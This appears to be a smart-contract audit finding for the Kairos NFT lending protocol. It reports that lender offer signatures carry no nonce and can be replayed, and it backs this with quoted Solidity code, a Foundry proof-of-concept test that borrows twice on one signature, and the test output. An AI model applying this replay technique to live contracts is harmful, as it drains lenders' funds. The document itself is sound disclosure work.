J4de

high

# The offer's signature has no challenge value and can be attacked by replay

## Summary

The offer's signature has no challenge value and can be attacked by replay.

## Vulnerability Detail

```solidity
    function offerDigest(Offer memory offer) public view returns (bytes32) {
        return _hashTypedDataV4(typeHashOffer(offer));
    }

    /// @notice computes EIP-712 hashStruct of an nfToken
    /// @param nft - to get the hash from
    /// @return the hashStruct
    function typeHashNFToken(NFToken memory nft) internal pure returns (bytes32) {
        return keccak256(abi.encode(NFTOKEN_TYPEHASH, nft));
    }

    /// @notice computes EIP-712 hashStruct of an offer
    /// @param offer the loan offer to hash
    /// @return the hashStruct
    function typeHashOffer(Offer memory offer) internal pure returns (bytes32) {
        return
            keccak256(
                abi.encode(
                    OFFER_TYPEHASH,
                    offer.assetToLend,
                    offer.loanToValue,
                    offer.duration,
                    offer.expirationDate,
                    offer.tranche,
                    typeHashNFToken(offer.collateral)
                )
            );
    }
```

Kairos uses the offer signed by the lender as the proof of the loan, but there is no challenge in the content of the signature, so this signature can be used for replay attacks.

## Impact

After the borrower repays the money, the borrower can borrow again through the offer that has been used. This is probably something lenders don't want to happen because the price of NFTs can change at any time.

Although controlling the `expirationDate` can indeed alleviate some risks, it is usually necessary to do anti-replay processing for signatures.

Here is my POC:

```solidity
    function testJ4deAudit() public {
        // test init
        getFlooz(signer, money, getOfferArg(getOffer()).amount);
        uint256 tokenId = nft.mintOneTo(BORROWER);

        // signer issued offer
        bytes memory data = abi.encode(getOfferArgs(getOffer()));

        // Simulate the initial state of signer,
        // signer may provide multiple loans,
        // so approve a larger value to kairos
        vm.startPrank(signer);
        money.mint(100 ether);
        money.approve(address(kairos), 100 ether);
        vm.stopPrank();

        vm.startPrank(BORROWER);
        money.mint(100 ether);

        // first borrow
        console.log("[*] money.balanceOf(signer): %d", money.balanceOf(signer));
        console.log("[*] money.balanceOf(BORROWER): %d", money.balanceOf(BORROWER));
        console.log("[*] borrow");
        nft.safeTransferFrom(BORROWER, address(kairos), tokenId, data);
        console.log("[*] money.balanceOf(signer): %d", money.balanceOf(signer));
        console.log("[*] money.balanceOf(BORROWER): %d", money.balanceOf(BORROWER));

        console.log("[*] repay");
        money.approve(address(kairos), type(uint256).max);
        uint256[] memory loanIds = new uint256[](1);
        loanIds[0] = 1;
        kairos.repay(loanIds);
        console.log("[*] money.balanceOf(signer): %d", money.balanceOf(signer));
        console.log("[*] money.balanceOf(BORROWER): %d", money.balanceOf(BORROWER));

        // second loan (replay attack)
        console.log("[*] borrow again");
        nft.safeTransferFrom(BORROWER, address(kairos), tokenId, data);
        console.log("[*] money.balanceOf(signer): %d", money.balanceOf(signer));
        console.log("[*] money.balanceOf(BORROWER): %d", money.balanceOf(BORROWER));
        vm.stopPrank();
```

The result of the runnig is as follows:

```bash
J4de@J4de:~/kairos-contracts$ forge test -vvv -m testJ4deAudit
[⠊] Compiling...
[⠆] Compiling 1 files with 0.8.18
[⠒] Solc 0.8.18 finished in 7.28s
Compiler run successful

Running 1 test for test/Borrow/Borrow.t.sol:TestBorrow
[PASS] testJ4deAudit() (gas: 1326604)
Logs:
  [*] money.balanceOf(signer): 101000000000000000000
  [*] money.balanceOf(BORROWER): 100000000000000000000
  [*] borrow
  useOffer arg.amount = 1000000000000000000
  useOffer arg.offer.loanToValue = 10000000000000000000
  [*] money.balanceOf(signer): 100000000000000000000
  [*] money.balanceOf(BORROWER): 101000000000000000000
  [*] repay
  [*] money.balanceOf(signer): 100000000000000000000
  [*] money.balanceOf(BORROWER): 100000000000000000000
  [*] borrow again
  useOffer arg.amount = 1000000000000000000
  useOffer arg.offer.loanToValue = 10000000000000000000
  [*] money.balanceOf(signer): 99000000000000000000
  [*] money.balanceOf(BORROWER): 101000000000000000000

Test result: ok. 1 passed; 0 failed; finished in 20.20ms
```

## Code Snippet

https://github.com/sherlock-audit/2023-02-kairos/blob/main/kairos-contracts/src/Signature.sol#L27-#L54

## Tool used

Manual Review

## Recommendation

It is recommended to add a challenge to the signature content, which is a common practice in the industry.